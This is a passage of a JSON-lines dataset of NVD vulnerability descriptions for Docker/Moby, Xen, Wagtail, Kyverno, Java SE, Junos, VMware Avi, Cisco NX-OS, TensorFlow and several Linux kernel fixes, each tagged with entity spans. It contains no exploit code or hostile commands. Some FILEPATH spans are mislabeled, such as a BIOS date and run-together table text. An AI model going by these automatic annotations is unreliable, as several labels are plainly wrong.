"info": {"source": "nvd_v2", "cve_id": "CVE-2023-36386"}}
{"text": "Moby is an open source container framework developed by Docker Inc. that is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (`dockerd`), which is developed as moby/moby, is commonly referred to as *Docker*.\n\nSwarm Mode, which is compiled in and delivered by default in dockerd and is thus present in most major Moby downstreams, is a simple, built-in container orchestrator that is implemented through a combination of SwarmKit and supporting network code.\n\nThe overlay network driver is a core feature of Swarm Mode, providing isolated virtual LANs that allow communication between containers and services across the cluster. This driver is an implementation/user of VXLAN, which encapsulates link-layer (Ethernet) frames in UDP datagrams that tag the frame with a VXLAN Network ID (VNI) that identifies the originating overlay network. In addition, the overlay network driver supports an optional, off-by-default encrypted mode, which is especially useful when VXLAN packets traverses an untrusted network between nodes.\n\nEncrypted overlay networks function by encapsulating the VXLAN datagrams through the use of the IPsec Encapsulating Security Payload protocol in Transport mode. By deploying IPSec encapsulation, encrypted overlay networks gain the additional properties of source authentication through cryptographic proof, data integrity through check-summing, and confidentiality through encryption.\n\nWhen setting an endpoint up on an encrypted overlay network, Moby installs three iptables (Linux kernel firewall) rules that enforce both incoming and outgoing IPSec. These rules rely on the u32 iptables extension provided by the xt_u32 kernel module to directly filter on a VXLAN packet's VNI field, so that IPSec guarantees can be enforced on encrypted overlay networks without interfering with other overlay networks or other users of VXLAN.\n\nTwo iptables rules serve to filter incoming VXLAN datagrams with a VNI that corresponds to an encrypted network and discards unencrypted datagrams. The rules are appended to the end of the INPUT filter chain, following any rules that have been previously set by the system administrator. Administrator-set rules take precedence over the rules Moby sets to discard unencrypted VXLAN datagrams, which can potentially admit unencrypted datagrams that should have been discarded.\n\nThe injection of arbitrary Ethernet frames can enable a Denial of Service attack. A sophisticated attacker may be able to establish a UDP or TCP connection by way of the container’s outbound gateway that would otherwise be blocked by a stateful firewall, or carry out other escalations beyond simple injection by smuggling packets into the overlay network.\n\nPatches are available in Moby releases 23.0.3 and 20.10.24. As Mirantis Container Runtime's 20.10 releases are numbered differently, users of that platform should update to 20.10.16.\n\nSome workarounds are available. Close the VXLAN port (by default, UDP port 4789) to incoming traffic at the Internet boundary to prevent all VXLAN packet injection, and/or ensure that the `xt_u32` kernel module is available on all nodes of the Swarm cluster.", "spans": {"SYSTEM: Linux kernel": [[1578, 1590]], "ORGANIZATION: Docker": [[56, 62], [91, 97], [275, 281]], "VULNERABILITY: Denial of Service": [[2466, 2483]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28840"}}
{"text": "An issue was discovered in Xen through 4.14.x. There are missing memory barriers when accessing/allocating an event channel. Event channels control structures can be accessed lockless as long as the port is considered to be valid. Such a sequence is missing an appropriate memory barrier (e.g., smp_*mb()) to prevent both the compiler and CPU from re-ordering access. A malicious guest may be able to cause a hypervisor crash resulting in a Denial of Service (DoS). Information leak and privilege escalation cannot be excluded. Systems running all versions of Xen are affected. Whether a system is vulnerable will depend on the CPU and compiler used to build Xen. For all systems, the presence and the scope of the vulnerability depend on the precise re-ordering performed by the compiler used to build Xen. We have not been able to survey compilers; consequently we cannot say which compiler(s) might produce vulnerable code (with which code generation options). GCC documentation clearly suggests that re-ordering is possible. Arm systems will also be vulnerable if the CPU is able to re-order memory access. Please consult your CPU vendor. x86 systems are only vulnerable if a compiler performs re-ordering.", "spans": {"SYSTEM: Xen": [[27, 30], [560, 563], [659, 662], [803, 806]], "VULNERABILITY: privilege escalation": [[487, 507]], "VULNERABILITY: Denial of Service": [[441, 458]], "VULNERABILITY: Information leak": [[466, 482]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25603"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\njffs2: prevent xattr node from overflowing the eraseblock\n\nAdd a check to make sure that the requested xattr node size is no larger\nthan the eraseblock minus the cleanmarker.\n\nUnlike the usual inode nodes, the xattr nodes aren't split into parts\nand spread across multiple eraseblocks, which means that a xattr node\nmust not occupy more than one eraseblock. If the requested xattr value is\ntoo large, the xattr node can spill onto the next eraseblock, overwriting\nthe nodes and causing errors such as:\n\njffs2: argh. node added in wrong place at 0x0000b050(2)\njffs2: nextblock 0x0000a000, expected at 0000b00c\njffs2: error: (823) do_verify_xattr_datum: node CRC failed at 0x01e050,\nread=0xfc892c93, calc=0x000000\njffs2: notice: (823) jffs2_get_inode_nodes: Node header CRC failed\nat 0x01e00c. {848f,2fc4,0fef511f,59a3d171}\njffs2: Node at 0x0000000c with length 0x00001044 would run over the\nend of the erase block\njffs2: Perhaps the file system was created with the wrong erase size?\njffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found\nat 0x00000010: 0x1044 instead\n\nThis breaks the filesystem and can lead to KASAN crashes such as:\n\nBUG: KASAN: slab-out-of-bounds in jffs2_sum_add_kvec+0x125e/0x15d0\nRead of size 4 at addr ffff88802c31e914 by task repro/830\nCPU: 0 PID: 830 Comm: repro Not tainted 6.9.0-rc3+ #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996),\nBIOS Arch Linux 1.16.3-1-1 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0xc6/0x120\n print_report+0xc4/0x620\n ? __virt_addr_valid+0x308/0x5b0\n kasan_report+0xc1/0xf0\n ? jffs2_sum_add_kvec+0x125e/0x15d0\n ? jffs2_sum_add_kvec+0x125e/0x15d0\n jffs2_sum_add_kvec+0x125e/0x15d0\n jffs2_flash_direct_writev+0xa8/0xd0\n jffs2_flash_writev+0x9c9/0xef0\n ? __x64_sys_setxattr+0xc4/0x160\n ? do_syscall_64+0x69/0x140\n ? entry_SYSCALL_64_after_hwframe+0x76/0x7e\n [...]\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.", "spans": {"DOMAIN: linuxtesting.org": [[1938, 1954]], "FILEPATH: /01/2014": [[1476, 1484]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1457, 1462], [1911, 1916]], "SYSTEM: QEMU": [[1407, 1411]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38599"}}
{"text": "In Wagtail before versions 2.8.1 and 2.7.2, a cross-site scripting (XSS) vulnerability exists on the page revision\ncomparison view within the Wagtail admin interface. A user with a limited-permission editor account for the Wagtail\nadmin could potentially craft a page revision history that, when viewed by a user with higher privileges, could perform\nactions with that user's credentials. The vulnerability is not exploitable by an ordinary site visitor without access to\nthe Wagtail admin.\n\nPatched versions have been released as Wagtail 2.7.2 (for the LTS 2.7 branch) and Wagtail 2.8.1 (for the current 2.8 branch).", "spans": {"VULNERABILITY: cross-site scripting": [[46, 66]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11001"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nm68k: Only force 030 bus error if PC not in exception table\n\n__get_kernel_nofault() does copy data in supervisor mode when\nforcing a task backtrace log through /proc/sysrq_trigger.\nThis is expected cause a bus error exception on e.g. NULL\npointer dereferencing when logging a kernel task has no\nworkqueue associated. This bus error ought to be ignored.\n\nOur 030 bus error handler is ill equipped to deal with this:\n\nWhenever ssw indicates a kernel mode access on a data fault,\nwe don't even attempt to handle the fault and instead always\nsend a SEGV signal (or panic). As a result, the check\nfor exception handling at the fault PC (buried in\nsend_sig_fault() which gets called from do_page_fault()\neventually) is never used.\n\nIn contrast, both 040 and 060 access error handlers do not\ncare whether a fault happened on supervisor mode access,\nand will call do_page_fault() on those, ultimately honoring\nthe exception table.\n\nAdd a check in bus_error030 to call do_page_fault() in case\nwe do have an entry for the fault PC in our exception table.\n\nI had attempted a fix for this earlier in 2019 that did rely\non testing pagefault_disabled() (see link below) to achieve\nthe same thing, but this patch should be more generic.\n\nTested on 030 Atari Falcon.", "spans": {"FILEPATH: /proc/sysrq_trigger.": [[229, 249]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54232"}}
{"text": "Kyverno is a policy engine designed for Kubernetes. A security vulnerability was found in Kyverno where an attacker could cause denial of service of Kyverno. The vulnerability was in Kyvernos Notary verifier. An attacker would need control over the registry from which Kyverno would fetch signatures. With such a position, the attacker could return a malicious response to Kyverno, when Kyverno would send a request to the registry. The malicious response would cause denial of service of Kyverno, such that other users' admission requests would be blocked from being processed. This is a vulnerability in a new component released in v1.11.0. The only users affected by this are those that have been building Kyverno from source at the main branch which is not encouraged. Users consuming official Kyverno releases are not affected. There are no known cases of this vulnerability being exploited in the wild.", "spans": {"SYSTEM: Kubernetes": [[40, 50]], "VULNERABILITY: denial of service": [[128, 145], [468, 485]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-42815"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/qeth: fix use-after-free in hsci\n\nKASAN found that addr was dereferenced after br2dev_event_work was freed.\n\n==================================================================\nBUG: KASAN: use-after-free in qeth_l2_br2dev_worker+0x5ba/0x6b0\nRead of size 1 at addr 00000000fdcea440 by task kworker/u760:4/540\nCPU: 17 PID: 540 Comm: kworker/u760:4 Tainted: G            E      6.1.0-20221128.rc7.git1.5aa3bed4ce83.300.fc36.s390x+kasan #1\nHardware name: IBM 8561 T01 703 (LPAR)\nWorkqueue: 0.0.8000_event qeth_l2_br2dev_worker\nCall Trace:\n [<000000016944d4ce>] dump_stack_lvl+0xc6/0xf8\n [<000000016942cd9c>] print_address_description.constprop.0+0x34/0x2a0\n [<000000016942d118>] print_report+0x110/0x1f8\n [<0000000167a7bd04>] kasan_report+0xfc/0x128\n [<000000016938d79a>] qeth_l2_br2dev_worker+0x5ba/0x6b0\n [<00000001673edd1e>] process_one_work+0x76e/0x1128\n [<00000001673ee85c>] worker_thread+0x184/0x1098\n [<000000016740718a>] kthread+0x26a/0x310\n [<00000001672c606a>] __ret_from_fork+0x8a/0xe8\n [<00000001694711da>] ret_from_fork+0xa/0x40\nAllocated by task 108338:\n kasan_save_stack+0x40/0x68\n kasan_set_track+0x36/0x48\n __kasan_kmalloc+0xa0/0xc0\n qeth_l2_switchdev_event+0x25a/0x738\n atomic_notifier_call_chain+0x9c/0xf8\n br_switchdev_fdb_notify+0xf4/0x110\n fdb_notify+0x122/0x180\n fdb_add_entry.constprop.0.isra.0+0x312/0x558\n br_fdb_add+0x59e/0x858\n rtnl_fdb_add+0x58a/0x928\n rtnetlink_rcv_msg+0x5f8/0x8d8\n netlink_rcv_skb+0x1f2/0x408\n netlink_unicast+0x570/0x790\n netlink_sendmsg+0x752/0xbe0\n sock_sendmsg+0xca/0x110\n ____sys_sendmsg+0x510/0x6a8\n ___sys_sendmsg+0x12a/0x180\n __sys_sendmsg+0xe6/0x168\n __do_sys_socketcall+0x3c8/0x468\n do_syscall+0x22c/0x328\n __do_syscall+0x94/0xf0\n system_call+0x82/0xb0\nFreed by task 540:\n kasan_save_stack+0x40/0x68\n kasan_set_track+0x36/0x48\n kasan_save_free_info+0x4c/0x68\n ____kasan_slab_free+0x14e/0x1a8\n __kasan_slab_free+0x24/0x30\n __kmem_cache_free+0x168/0x338\n qeth_l2_br2dev_worker+0x154/0x6b0\n process_one_work+0x76e/0x1128\n worker_thread+0x184/0x1098\n kthread+0x26a/0x310\n __ret_from_fork+0x8a/0xe8\n ret_from_fork+0xa/0x40\nLast potentially related work creation:\n kasan_save_stack+0x40/0x68\n __kasan_record_aux_stack+0xbe/0xd0\n insert_work+0x56/0x2e8\n __queue_work+0x4ce/0xd10\n queue_work_on+0xf4/0x100\n qeth_l2_switchdev_event+0x520/0x738\n atomic_notifier_call_chain+0x9c/0xf8\n br_switchdev_fdb_notify+0xf4/0x110\n fdb_notify+0x122/0x180\n fdb_add_entry.constprop.0.isra.0+0x312/0x558\n br_fdb_add+0x59e/0x858\n rtnl_fdb_add+0x58a/0x928\n rtnetlink_rcv_msg+0x5f8/0x8d8\n netlink_rcv_skb+0x1f2/0x408\n netlink_unicast+0x570/0x790\n netlink_sendmsg+0x752/0xbe0\n sock_sendmsg+0xca/0x110\n ____sys_sendmsg+0x510/0x6a8\n ___sys_sendmsg+0x12a/0x180\n __sys_sendmsg+0xe6/0x168\n __do_sys_socketcall+0x3c8/0x468\n do_syscall+0x22c/0x328\n __do_syscall+0x94/0xf0\n system_call+0x82/0xb0\nSecond to last potentially related work creation:\n kasan_save_stack+0x40/0x68\n __kasan_record_aux_stack+0xbe/0xd0\n kvfree_call_rcu+0xb2/0x760\n kernfs_unlink_open_file+0x348/0x430\n kernfs_fop_release+0xc2/0x320\n __fput+0x1ae/0x768\n task_work_run+0x1bc/0x298\n exit_to_user_mode_prepare+0x1a0/0x1a8\n __do_syscall+0x94/0xf0\n system_call+0x82/0xb0\nThe buggy address belongs to the object at 00000000fdcea400\n which belongs to the cache kmalloc-96 of size 96\nThe buggy address is located 64 bytes inside of\n 96-byte region [00000000fdcea400, 00000000fdcea460)\nThe buggy address belongs to the physical page:\npage:000000005a9c26e8 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xfdcea\nflags: 0x3ffff00000000200(slab|node=0|zone=1|lastcpupid=0x1ffff)\nraw: 3ffff00000000200 0000000000000000 0000000100000122 000000008008cc00\nraw: 0000000000000000 0020004100000000 ffffffff00000001 0000000000000000\npage dumped because: kasan: bad access detected\nMemory state around the buggy address:\n 00000000fdcea300: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n 00000000fdcea380: fb fb fb fb fb fb f\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[524, 527]], "VULNERABILITY: use-after-free": [[84, 98], [262, 276]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48954"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Java SE: 7u301, 8u291, 11.0.11, 16.0.1; Oracle GraalVM Enterprise Edition: 20.3.2 and 21.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [156, 160], [374, 378], [597, 601], [693, 697], [750, 754], [791, 795], [896, 900], [960, 964]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [196, 202], [383, 389], [606, 612]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2341"}}
{"text": "A vulnerability in the distributed or centralized periodic packet management daemon (PPMD) of Juniper Networks Junos OS may cause receipt of a malformed packet to crash and restart the PPMD process, leading to network destabilization, service interruption, and a Denial of Service (DoS) condition. Continued receipt and processing of these malformed packets will repeatedly crash the PPMD process and sustain the Denial of Service (DoS) condition. Due to the nature of the specifically crafted packet, exploitation of this issue requires direct, adjacent connectivity to the vulnerable component. This issue affects Juniper Networks Junos OS: 17.3 versions prior to 17.3R3-S11; 17.4 versions prior to 17.4R2-S12, 17.4R3-S4; 18.1 versions prior to 18.1R3-S12; 18.2 versions prior to 18.2R2-S8, 18.2R3-S7; 18.3 versions prior to 18.3R3-S4; 18.4 versions prior to 18.4R1-S8, 18.4R2-S7, 18.4R3-S6; 19.1 versions prior to 19.1R1-S6, 19.1R2-S2, 19.1R3-S4; 19.2 versions prior to 19.2R1-S5, 19.2R3-S1; 19.3 versions prior to 19.3R2-S5, 19.3R3-S1; 19.4 versions prior to 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R1-S2, 20.2R2.", "spans": {"ORGANIZATION: Juniper": [[94, 101], [616, 623]], "VULNERABILITY: Denial of Service": [[263, 280], [413, 430]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0214"}}
{"text": "Description:\n\nVMware AVI Load Balancer contains an authenticated blind SQL Injection vulnerability. VMware has evaluated the severity of the issue to be in the  Moderate severity range https://www.broadcom.com/support/vmware-services/security-response  with a maximum CVSSv3 base score of  6.8 https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N .\n\nKnown Attack Vectors:\n\nAn authenticated malicious user with network access may be able to use specially crafted SQL queries to gain database access.\n\nResolution:\n\nTo remediate CVE-2025-41233 apply the patches to the Avi Controller listed in the 'Fixed Version' column of the 'Response Matrix' found below.\n\nWorkarounds:\n\nNone.\n\nAdditional Documentation:\n\nNone.\n\nAcknowledgements:\n\nVMware would like to thank  Alexandru Copaceanu https://www.linkedin.com/in/alexandru-copaceanu-b39aaa1a8/  for reporting this issue to us.\n\nNotes:\n\nNone.\n\n \n\nResponse Matrix:\n\nProductVersionRunning OnCVECVSSv4SeverityFixed VersionWorkaroundsAdditional DocumentsVMware Avi Load Balancer30.1.1AnyCVE-2025-41233 6.8 https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.1.2-2p3 https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-1/vmware-avi-load-balancer-release-notes/release-notes-30-1-2.html NoneNoneVMware Avi Load Balancer30.1.2AnyCVE-2025-41233 6.8 https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.1.2-2p3 https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-1/vmware-avi-load-balancer-release-notes/release-notes-30-1-2.html NoneNoneVMware Avi Load Balancer30.2.1AnyCVE-2025-41233 6.8 https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.2.1-2p6 https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-2/vmware-avi-load-balancer-release-notes/release-notes-for-avi-load-balancer-version-30-2-1.html NoneNoneVMware Avi Load Balancer30.2.2AnyCVE-2025-41233 6.8 https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.2.2-2p5 https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-2/vmware-avi-load-balancer-release-notes/release-notes-for-avi-load-balancer-version-30-2-2.html NoneNoneVMware Avi Load Balancer30.2.3AnyCVE-2025-41233N/AN/AUnaffectedNoneNoneVMware Avi Load Balancer31.1.1AnyCVE-2025-41233 6.8 https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 31.1.1-2p2 https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/31-1/vmware-avi-load-balancer-release-notes/Release-Note-Section-20627.html NoneNone\n\nCWE-89 in the Avi Load Balancer component of VMware allows an authenticated attacker to execute blind SQL injections in versions 30.1.1, 30.1.2, 30.2.1, and 30.2.2 due to improper input validation, enabling unauthorized database access.", "spans": {"CVE_ID: CVE-2025-41233": [[560, 574], [1060, 1074], [1400, 1414], [1740, 1754], [2110, 2124], [2480, 2494], [2551, 2565]], "URL: https://www.broadcom.com/support/vmware-services/security-response": [[185, 251]], "URL: https://www.first.org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N": [[294, 380], [1079, 1165], [1419, 1505], [1759, 1845], [2129, 2215], [2570, 2656]], "URL: https://www.linkedin.com/in/alexandru-copaceanu-b39aaa1a8/": [[813, 871]], "URL: https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-1/vmware-avi-load-balancer-release-notes/release-notes-30-1-2.html": [[1186, 1358], [1526, 1698]], "URL: https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-2/vmware-avi-load-balancer-release-notes/release-notes-for-avi-load-balancer-version-30-2-1.html": [[1866, 2068]], "URL: https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-2/vmware-avi-load-balancer-release-notes/release-notes-for-avi-load-balancer-version-30-2-2.html": [[2236, 2438]], "URL: https://techdocs.broadcom.com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/31-1/vmware-avi-load-balancer-release-notes/Release-Note-Section-20627.html": [[2677, 2855]], "FILEPATH: /AN/AUnaffectedNoneNoneVMware": [[2495, 2524]], "ORGANIZATION: VMware": [[14, 20], [100, 106], [765, 771], [2911, 2917]], "VULNERABILITY: improper input validation": [[3037, 3062]], "VULNERABILITY: SQL Injection": [[71, 84]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-41233"}}
{"text": "nimiq-blockchain provides persistent block storage for Nimiq's Rust implementation. In 1.3.0 and earlier, block timestamp validation enforces that timestamp >= parent.timestamp for non-skip blocks and timestamp == parent.timestamp + MIN_PRODUCER_TIMEOUT for skip blocks, but there is no visible upper bound check against the wall clock. A malicious block-producing validator can set block timestamps arbitrarily far in the future. This directly affects reward calculations via Policy::supply_at() and batch_delay() in blockchain/src/reward.rs, inflating the monetary supply beyond the intended emission schedule.", "spans": {"FILEPATH: /src/reward.rs": [[528, 542]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40093"}}
{"text": "A vulnerability in the Border Gateway Protocol (BGP) Multicast VPN (MVPN) implementation of Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause a BGP session to repeatedly reset, causing a partial denial of service (DoS) condition due to the BGP session being down. The vulnerability is due to incorrect parsing of a specific type of BGP MVPN update message. An attacker could exploit this vulnerability by sending this BGP MVPN update message to a targeted device. A successful exploit could allow the attacker to cause the BGP peer connections to reset, which could lead to BGP route instability and impact traffic. The incoming BGP MVPN update message is valid but is parsed incorrectly by the NX-OS device, which could send a corrupted BGP update to the configured BGP peer. Note: The Cisco implementation of BGP accepts incoming BGP traffic from only explicitly configured peers. To exploit this vulnerability, an attacker must send a specific BGP MVPN update message over an established TCP connection that appears to come from a trusted BGP peer. To do so, the attacker must obtain information about the BGP peers in the trusted network of the affected system.", "spans": {"SYSTEM: Cisco NX-OS": [[92, 103]], "ORGANIZATION: Cisco": [[815, 820]], "VULNERABILITY: denial of service": [[223, 240]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3398"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/amd: Improve page fault error reporting\n\nIf IOMMU domain for device group is not setup properly then we may hit\nIOMMU page fault. Current page fault handler assumes that domain is\nalways setup and it will hit NULL pointer derefence (see below sample log).\n\nLets check whether domain is setup or not and log appropriate message.\n\nSample log:\n----------\n amdgpu 0000:00:01.0: amdgpu: SE 1, SH per SE 1, CU per SH 8, active_cu_number 6\n BUG: kernel NULL pointer dereference, address: 0000000000000058\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: 0000 [#1] PREEMPT SMP NOPTI\n CPU: 2 PID: 56 Comm: irq/24-AMD-Vi Not tainted 6.2.0-rc2+ #89\n Hardware name: xxx\n RIP: 0010:report_iommu_fault+0x11/0x90\n [...]\n Call Trace:\n  <TASK>\n  amd_iommu_int_thread+0x60c/0x760\n  ? __pfx_irq_thread_fn+0x10/0x10\n  irq_thread_fn+0x1f/0x60\n  irq_thread+0xea/0x1a0\n  ? preempt_count_add+0x6a/0xa0\n  ? __pfx_irq_thread_dtor+0x10/0x10\n  ? __pfx_irq_thread+0x10/0x10\n  kthread+0xe9/0x110\n  ? __pfx_kthread+0x10/0x10\n  ret_from_fork+0x2c/0x50\n  </TASK>\n\n[joro: Edit commit message]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: AMD": [[738, 741]], "VULNERABILITY: NULL pointer dereference": [[521, 545]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53789"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can generate undefined behavior via a reference binding to nullptr in `BoostedTreesCalculateBestGainsPerFeature` and similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) does not validate the input values. We have patched the issue in GitHub commit 9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad and in commit 429f009d2b2c09028647dd4bb7b3f6f414bbaad7. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc": [[313, 450]], "HASH: 9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad": [[531, 571]], "HASH: 429f009d2b2c09028647dd4bb7b3f6f414bbaad7": [[586, 626]], "ORGANIZATION: GitHub": [[517, 523]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37662"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7915: fix oops on non-dbdc mt7986\n\nmt7915_band_config() sets band_idx = 1 on the main phy for mt7986\nwith MT7975_ONE_ADIE or MT7976_ONE_ADIE.\n\nCommit 0335c034e726 (\"wifi: mt76: fix race condition related to\nchecking tx queue fill status\") introduced a dereference of the\nphys array indirectly indexed by band_idx via wcid->phy_idx in\nmt76_wcid_cleanup(). This caused the following Oops on affected\nmt7986 devices:\n\n Unable to handle kernel read from unreadable memory at virtual address 0000000000000024\n Mem abort info:\n   ESR = 0x0000000096000005\n   EC = 0x25: DABT (current EL), IL = 32 bits\n   SET = 0, FnV = 0\n   EA = 0, S1PTW = 0\n   FSC = 0x05: level 1 translation fault\n Data abort info:\n   ISV = 0, ISS = 0x00000005\n   CM = 0, WnR = 0\n user pgtable: 4k pages, 39-bit VAs, pgdp=0000000042545000\n [0000000000000024] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000\n Internal error: Oops: 0000000096000005 [#1] SMP\n Modules linked in: ... mt7915e mt76_connac_lib mt76 mac80211 cfg80211 ...\n CPU: 2 PID: 1631 Comm: hostapd Not tainted 5.15.150 #0\n Hardware name: ZyXEL EX5700 (Telenor) (DT)\n pstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : mt76_wcid_cleanup+0x84/0x22c [mt76]\n lr : mt76_wcid_cleanup+0x64/0x22c [mt76]\n sp : ffffffc00a803700\n x29: ffffffc00a803700 x28: ffffff80008f7300 x27: ffffff80003f3c00\n x26: ffffff80000a7880 x25: ffffffc008c26e00 x24: 0000000000000001\n x23: ffffffc000a68114 x22: 0000000000000000 x21: ffffff8004172cc8\n x20: ffffffc00a803748 x19: ffffff8004152020 x18: 0000000000000000\n x17: 00000000000017c0 x16: ffffffc008ef5000 x15: 0000000000000be0\n x14: ffffff8004172e28 x13: ffffff8004172e28 x12: 0000000000000000\n x11: 0000000000000000 x10: ffffff8004172e30 x9 : ffffff8004172e28\n x8 : 0000000000000000 x7 : ffffff8004156020 x6 : 0000000000000000\n x5 : 0000000000000031 x4 : 0000000000000000 x3 : 0000000000000001\n x2 : 0000000000000000 x1 : ffffff80008f7300 x0 : 0000000000000024\n Call trace:\n  mt76_wcid_cleanup+0x84/0x22c [mt76]\n  __mt76_sta_remove+0x70/0xbc [mt76]\n  mt76_sta_state+0x8c/0x1a4 [mt76]\n  mt7915_eeprom_get_power_delta+0x11e4/0x23a0 [mt7915e]\n  drv_sta_state+0x144/0x274 [mac80211]\n  sta_info_move_state+0x1cc/0x2a4 [mac80211]\n  sta_set_sinfo+0xaf8/0xc24 [mac80211]\n  sta_info_destroy_addr_bss+0x4c/0x6c [mac80211]\n\n  ieee80211_color_change_finish+0x1c08/0x1e70 [mac80211]\n  cfg80211_check_station_change+0x1360/0x4710 [cfg80211]\n  genl_family_rcv_msg_doit+0xb4/0x110\n  genl_rcv_msg+0xd0/0x1bc\n  netlink_rcv_skb+0x58/0x120\n  genl_rcv+0x34/0x50\n  netlink_unicast+0x1f0/0x2ec\n  netlink_sendmsg+0x198/0x3d0\n  ____sys_sendmsg+0x1b0/0x210\n  ___sys_sendmsg+0x80/0xf0\n  __sys_sendmsg+0x44/0xa0\n  __arm64_sys_sendmsg+0x20/0x30\n  invoke_syscall.constprop.0+0x4c/0xe0\n  do_el0_svc+0x40/0xd0\n  el0_svc+0x14/0x4c\n  el0t_64_sync_handler+0x100/0x110\n  el0t_64_sync+0x15c/0x160\n Code: d2800002 910092c0 52800023 f9800011 (885f7c01)\n ---[ end trace 7e42dd9a39ed2281 ]---\n\nFix by using mt76_dev_phy() which will map band_idx to the correct phy\nfor all hardware combinations.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[264, 278]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47715"}}
